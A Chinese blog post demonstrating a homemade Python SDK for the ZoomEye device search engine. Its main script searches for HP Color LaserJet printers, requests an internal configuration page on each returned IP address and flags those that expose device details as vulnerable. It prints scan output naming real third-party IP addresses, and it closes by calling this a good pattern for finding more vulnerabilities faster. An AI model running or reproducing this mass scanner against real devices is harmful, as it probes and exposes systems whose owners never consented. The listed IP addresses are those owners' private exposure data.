• Python 实现 ZoomEye API SDK


    版权声明:未经作者授权,禁止转载! 

    ZoomEye想必大家都很熟悉,自从官方开放了API,网上各种版本的SDK乱飞。今天我也来发一个自己写的。

    首先我们从https://github.com/SEC08/ZoomEye-API-SDK下载以后,解压以后我们直接运行python setup.py install来安装这个模块。这个过程类似大家安装Python的其他模块,比如说常见的requests.这里不多介绍了。等待安装完成以后,我们就可以来调用了。

    利用SDK登录ZoomEye:

    #!/usr/bin/env python
    # -*-coding:utf-8 -*-
    
    import sys
    import requests
    import zoomeye.zoomeye as zoomeye
    
    test = zoomeye.zoomeye()
    
    username = 'your main@qq.com'
    password = 'your zoomeye account password'
    
    token = test.logIn(username, password)
    

     接着我们调用了脚本中的搜索方法,搜索的query可以参考官方给出的使用说明。。

      

    #!/usr/bin/env python
    # -*-coding:utf-8 -*-
    
    
    import sys
    import requests
    import zoomeye.zoomeye as zoomeye
    
    test = zoomeye.zoomeye()
    
    username = 'your main@qq.com'
    password = 'your ZoomEye account password'
    
    token = test.logIn(username, password)
    
    result = test.search('web',query='HP Color LaserJet',page=1,facets='app,os')
    
    print result

       

    返回数据是json的格式,官方文档中有详细的说明,这里我大致做了处理。

    #!/usr/bin/env python
    # -*-coding:utf-8 -*-
    
    
    import sys
    import requests
    import zoomeye.zoomeye as zoomeye
    
    test = zoomeye.zoomeye()
    
    username = 'your main@qq.com'
    password = 'your ZoomEye account password'
    
    token = test.logIn(username, password)
    
    result = test.search('web',query='HP Color LaserJet',page=1,facets='app,os')
    
    target = []
    
    for i in result:
        for x in i['matches']:
            print x['ip']
            target.append(x['ip'][0])
    
    for ip in target:
        try:
            payload = '/hp/device/InternalPages/Index?id=ConfigurationPage'
            url = 'http://' + ip + payload
            res_exp = requests.get(url)
            print '[-]checking url %s' % url
            if res_exp.status_code == 200 and 'HomeDeviceName' in res_exp.content and 'HomeDeviceIp' in res_exp.content:
                print '[+]%s is vul' % url
            elif res_exp.status_code != 200:
                print '[+]%s is static' % url
            else:
                pass
    
        except Exception, e:
            pass
    

     然后结果是这样的:

       

    [-]checking url http://192.185.150.112/hp/device/InternalPages/Index?id=ConfigurationPage
    [-]checking url http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage
    [+]http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage is static
    [-]checking url http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage
    [+]http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage is static
    [-]checking url http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage
    [+]http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage is static
    [-]checking url http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage
    [+]http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage is static
    [-]checking url http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage
    [+]http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage is static
    [-]checking url http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage
    [+]http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage is static
    [-]checking url http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage
    [+]http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage is static
    

    这样是大致的演示过程,还有诸多的不足。这里想说的是,这是一个不错的漏扫模式,国内好多的安全厂商也都开始构建类似这样的工具。另外大家可以发挥自己的想象力和创造力。更快速的去挖到更多的漏洞。

       

       

      

  • 相关阅读:
    iOS6 与iOS7以及7以上状态栏的颜色设置
    XCode常用快捷键的使用
    [Cordova+Sencha Touch] 移动开发1 sencha 2.4.0 + 在 安卓2.3.6上使用报错
    document.addEventListener的使用介绍
    设置aspx页面的地址栏中的Session ID的显示与隐藏
    Android检测网络是否可用并获取网络类型
    程序员必读书籍及导读指南
    ListView的属性及方法详解
    javascript
    CSS
  • 原文地址:https://www.cnblogs.com/magic-zero/p/5448725.html
Copyright © 2020-2023  润新知